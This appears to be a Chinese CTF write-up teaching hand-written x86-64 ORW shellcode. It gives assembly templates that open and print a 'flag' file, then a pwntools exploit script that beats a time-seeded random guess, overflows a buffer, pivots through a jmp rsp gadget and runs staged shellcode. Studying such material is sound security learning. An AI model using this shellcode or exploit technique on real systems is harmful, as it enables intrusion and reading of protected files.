手搓shellcoe初级奥义

前记

之前一直依赖pwntools工具,直接沉溺在温柔乡了,但是学到后边发现不会写shellcode真是原罪呀。所有花了一晚上时间总结了这个shellcode初级奥义,主要是ORW方面的

ORW模板

模板一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 ; open("flag", 0)
0: 68 66 6c 61 67 push 0x67616c66
5: 6a 02 push 0x2
7: 58 pop rax
8: 48 89 e7 mov rdi,rsp
b: 48 31 f6 xor rsi,rsi
e: 0f 05 syscall

; read(fd, rsp, 0x20)
10: 48 89 c7 mov rdi,rax ##open以后文件描述指向rax
13: 48 31 c0 xor rax,rax
16: 48 89 e6 mov rsi,rsp
19: 6a 20 push 0x20
1b: 5a pop rdx
1c: 0f 05 syscall

; write(1, rsp, 0x20)
1e: 6a 01 push 0x1
20: 58 pop rax
21: 6a 01 push 0x1
23: 5f pop rdi
24: 48 89 e6 mov rsi,rsp
27: 6a 20 push 0x20
29: 5a pop rdx
2a: 0f 05 syscall

模板二(相当于cat flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

例题讲解

附件下载

main函数

首先是伪随机数的绕过,进入漏洞函数

漏洞函数

只溢出了0x20个字节显然不够我们ORW,所以我们需要调用一个read读取ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './RANDOM'
url = ''

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'
context.arch = 'amd64'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * 0x0000000000400948
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0)
libc.srand(seed)
num = libc.rand()%50
print(num)
p.sendlineafter('please input a guess num:\n' , str(num))
bss_addr = elf.bss() + 0x100
lss('bss_addr')
call_read = '''
/* read(0, buf, size) */
xor rax , rax
xor rdi , rdi
push 0x100
pop rdx
add rsi, 0x100
syscall
call rsi
'''
shellcode = '''
/*open(fd , 0)*/
push 0x67616c66
push 2
pop rax
mov rdi , rsp
xor rsi , rsi
syscall
/*read(fd , buf , 0x20)*/
mov rdi , rax
xor rax , rax
mov rsi , 0x601180
mov rdx , 0x20
syscall
/*write(1 , buf , 0x20)*/
mov rax , 1
mov rdx , 0x20
mov rsi , 0x601180
mov rdi , 1
syscall
'''
jmp_rsp = 0x000000000040094E
payload = asm(call_read)
print(hex(len(payload)))
payload = payload.ljust(0x20) + p64(0) + p64(jmp_rsp)
payload += asm("sub rsp , 0x30 ; jmp rsp")
p.sendafter('your door\n' , payload)
payload =asm(shellcode)
print(payload)
p.send(payload)
p.interactive()